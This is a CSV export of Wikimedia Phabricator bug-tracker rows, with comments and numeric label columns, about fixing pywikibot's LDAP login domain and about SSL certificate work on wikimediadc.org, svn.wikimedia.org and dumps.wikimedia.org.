+",,,1426200792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tw44nyah5ou35dx4udvn,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+90149,LDAP based login is broken in pywikibot because lgdomain is not set,"Couldn't figure out why core didn't work on my wiki with LDAP login. After some debugging I found out that lgdomain doesn't seem to be set anywhere at all. See https://www.mediawiki.org/w/api.php?action=help&modules=login|query+info
+
+If I just hardcode login_request[""lgdomain""] = ""mydomain"" in api.py, it magically works. The login logic should look in the family file if self.ldapDomain is set and if that's the case include it in the request. Compat doesn't have this problem.
+
+",High,80.0,1424445689,1483592844.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-ym2wy2clsakjgpqps55p,False,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_description,resolved,True,c3,1,True,False,False,-19,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+787430,LDAP based login is broken in pywikibot because lgdomain is not set,Patch has been merged. Hence closing as resolved. Thanks!,,,1483592844,,PHID-USER-ym2wy2clsakjgpqps55p,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,79,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+786002,LDAP based login is broken in pywikibot because lgdomain is not set,"Change 330144 merged by jenkins-bot:
+Fix broken LDAP based login
+
+[[https://gerrit.wikimedia.org/r/330144]]",,,1483423895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+785814,LDAP based login is broken in pywikibot because lgdomain is not set,"Change 330144 had a related patch set uploaded (by Phantom42):
+Fix broken LDAP based login
+
+[[https://gerrit.wikimedia.org/r/330144]]
+",,,1483367242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+767367,LDAP based login is broken in pywikibot because lgdomain is not set,Imported as https://codein.withgoogle.com/tasks/5099661157203968/,,,1480285777,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,73,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+750506,LDAP based login is broken in pywikibot because lgdomain is not set,I will mentor this in #GCI2016,,,1477528786,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,69,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+741272,LDAP based login is broken in pywikibot because lgdomain is not set,"The modification to api.py outlined here resolved the issue for me:
+
+https://www.linkedin.com/pulse/how-correct-pywikibot-ldap-authentication-error-armando-trinchillo
+
+LDAP authentication worked until I added a second domain to the authentication options in my LocalSettings.php.  I have not had an opportunity to revert the change and test, but I wanted to mention it just in case it helps reproduce the issue.",,,1475872586,,PHID-USER-hqyevonuxo3zgojidwzc,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,66,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+736641,LDAP based login is broken in pywikibot because lgdomain is not set,why in API.py? Can't it be done in the login.py like how it was done in compact?,,,1475169512,,PHID-USER-gbs772f5nbiji6ehwpea,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,65,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+734398,LDAP based login is broken in pywikibot because lgdomain is not set,"Hi, I am interested in working on this bug. 
+As far as I understand (from the discussions above) there needs to be a check on ldapDomain and lgdomain should be set accordingly, somewhere near line no. 3036 in 
+[[ https://phabricator.wikimedia.org/diffusion/PWBC/browse/master/pywikibot/data/api.py | api.py ]]
+i.e. just after the initialisation. 
+I'm completely new to this so please correct me if I'm wrong somewhere and should I move ahead resolving this bug?",,,1474823768,,PHID-USER-hmeq7owcgfeaxb6ibrt4,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,False,,,64,True,0,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1
+564564,LDAP based login is broken in pywikibot because lgdomain is not set,"@multichill, are you able to test patches for this?",,,1447806526,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0
+466208,LDAP based login is broken in pywikibot because lgdomain is not set,"This is pretty #easy, as it needs to be backwards compatible with compat, so no bikeshedding on names, etc. and it should be two lines of code in core.
+
+```
+compat$ git grep ldapDomain
+families/README-family.txt:        #self.ldapDomain = 'domain here'
+family.py:        self.ldapDomain = ()
+login.py:            if self.site.family.ldapDomain:
+login.py:                predata['lgdomain'] = self.site.family.ldapDomain
+login.py:            if self.site.family.ldapDomain:     # VistaPrint fix
+login.py:                predata[""wpDomain""] = self.site.family.ldapDomain
+```",,,1433005410,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+414785,LDAP based login is broken in pywikibot because lgdomain is not set,Can we set lgdomain even without LDAP login?,,,1424445919,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-q7d53e2zrhxr3m4nj3xb,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+89080,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"Wikimedia DC has an SSL certificate from Gandi. Jeremyb knows more about it.
+
+Since we own it, why not use it? I am mostly interested in using it for Stripe payment processing, which will handle the actual payment processing (including PCI compliance) as long as we use SSL on our end. But there are other uses, such as having login / logged in users handled by HTTPS, like with Wikimedia projects. Thoughts?
+
+[Update] In light of recent events (e.g. https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/) I am suggesting that we use HTTPS for all of Wikimedia DC's web properties. I am also bumping this up to High priority",High,80.0,1423543912,1449218689.0,PHID-USER-glyaaucrfe2f5ly43lqk,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-vm7h6zk3plsvaiktebv7,task_description,resolved,True,c3,1,False,False,False,-21,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+572868,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"The main wmdc wiki is now HTTPS-only. I'll file a follow up ticket for all the other random domains that WMDC controls.
+
+```
+km@km-tp ~> curl -I ""http://wikimediadc.org""
+HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.22 (Ubuntu)
+Location: https://wikimediadc.org/
+Vary: Accept-Encoding
+Content-Type: text/html; charset=iso-8859-1
+Date: Fri, 04 Dec 2015 08:42:54 GMT
+X-Varnish: 531894175
+Age: 0
+Via: 1.1 varnish
+Connection: keep-alive
+```",,,1449218689,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,3,True,,,22,True,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+548043,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),https://wikimediadc.org now works. In about a week I'll switch it over to HTTPS-only.,,,1445212348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+461399,Implement SSL certificate on Wikimedia DC server (wikimediadc.org),"@Legoktm, are there any specific blockers to implementation, such as updating the server software?",,,1432132153,,PHID-USER-glyaaucrfe2f5ly43lqk,False,,,PHID-TASK-vm7h6zk3plsvaiktebv7,task_subcomment,,True,c3,1,False,,,-7,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0
+88731,svn.wikimedia.org security certificate expired ,"> svn.wikimedia.org
+> Issued by: RapidSSL CA
+> Expired: Saturday 31 January 2015
+
+{F37611}",High,80.0,1423166403,1435265694.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-npq6immrq3mstra5yl2a,task_description,resolved,True,c3,1,True,False,True,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+482000,svn.wikimedia.org security certificate expired ,"deleted cert from public repo, deleted key from private repo, shredd'ed and deleted key from antimony, deleted cert from antimony, delete sites-available/50-svn* from antimony
+",,,1435265694,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+481998,svn.wikimedia.org security certificate expired ,"Change 220967 merged by Dzahn:
+svn: delete svn.wm.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/220967]]",,,1435265474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+481990,svn.wikimedia.org security certificate expired ,"Change 220967 had a related patch set uploaded (by Dzahn):
+svn: delete svn.wm.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/220967]]
+",,,1435264747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+481986,svn.wikimedia.org security certificate expired ,"svn.wikimedia.org points to general Apache cluster / text-lb for redirects.
+
+So the certificate isn't an issue anymore and can be deleted.
+
+svn.wikimedia.org has address 208.80.154.224
+224.154.80.208.in-addr.arpa domain name pointer text-lb.eqiad.wikimedia.org.
+",,,1435264467,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+481979,svn.wikimedia.org security certificate expired ,">>! In T88731#1288890, @RobH wrote:
+> However, are we still really wanting to support SVN? 
+
+No :) It has been removed in T86655
+
+Old SVN URLs now redirect (https://phabricator.wikimedia.org/T86655#1402012)",,,1435264383,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+459441,svn.wikimedia.org security certificate expired ,"Addition: Only valid for long term, short term I suppose its annoying for folks still using SVN.
+
+However, are we still really wanting to support SVN?  It has been on the depreciation list for awhile now, and I think that is why this generally hasn't progressed.  (We don't typically take a long time to order a certificate ;)",,,1431719180,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+459431,svn.wikimedia.org security certificate expired ,"This is only valid still if T86655 is not valid anymore.  As it appears still valid, this would be rejected.
+
+",,,1431718814,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+459103,svn.wikimedia.org security certificate expired ,"@RobH, I gave this to you since svn can't move behind misc web after all. ",,,1431666388,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+459077,svn.wikimedia.org security certificate expired ,also see https://phabricator.wikimedia.org/T83443#914052,,,1431652383,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+459075,svn.wikimedia.org security certificate expired ,">>! In T88731#1286844, @Krinkle wrote:
+>>>! In T88731#1286842, @Legoktm wrote:
+>> I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?
+> 
+> Added blocker on T98723. We don't need to renew the cert if we just move it's svn viewer behind misc-web-eqiad, which uses the wildcard cert.
+
+This has been suggested before but that only covers the web-part of it and breaks the actual svn protocol which apparently is still used as well.",,,1431652046,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1
+459074,svn.wikimedia.org security certificate expired ,">>! In T88731#1286842, @Legoktm wrote:
+> I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?
+
+Added blocker on T98723. We don't need to renew the cert if we just move it's svn viewer behind misc-web-eqiad, which uses the wildcard cert.",,,1431651965,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1
+459073,svn.wikimedia.org security certificate expired ,"I just ran into this when someone linked to svn.wm.o in <https://lists.wikimedia.org/pipermail/pywikipedia-l/2015-May/009287.html>. I understand that we're migrating to phab, but what's the rationale for not renewing the SSL cert?",,,1431651890,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-7,True,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+424053,svn.wikimedia.org security certificate expired ,"Change 195310 abandoned by Dzahn:
+delete svn.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195310]]",,,1426015718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423245,svn.wikimedia.org security certificate expired ,"Change 195310 had a related patch set uploaded (by Dzahn):
+delete svn.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195310]]
+",,,1425922573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+420938,svn.wikimedia.org security certificate expired ,"let's close this as rejected, T86655 is happening instead",,,1425496133,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+407446,svn.wikimedia.org security certificate expired ,@Krinkle: Sufficiently covered by T86655 already?,,,1423167414,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npq6immrq3mstra5yl2a,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+88497,replace dumps.wikimedia.org sha1 cert with sha256 cert,"This tracks the replacement of dumps.wikimedia.org sha1 cert with sha256 cert.
+
+I'll link in the patchset, but I am not sure if we should simply push without announcement?  Dumps are their own particular service, and interrupting any current downloads seems mean.",High,80.0,1423009784,1424341288.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-jtxavgb3caz53o45csni,False,PHID-TASK-2wzbcm7nz252unc7wh6c,task_description,resolved,True,c3,1,True,False,True,-22,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+414007,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Fixed, we had the old 'leading blank before ---BEGIN line in the cert' bug.  Deployed and serving. Closing ticket.",,,1424341288,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+408847,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Hrmm, that change is correct, and this should work.  Let me loop back to this shortly.",,,1423513034,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+408843,replace dumps.wikimedia.org sha1 cert with sha256 cert,"It is the same private key, no change.",,,1423512506,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
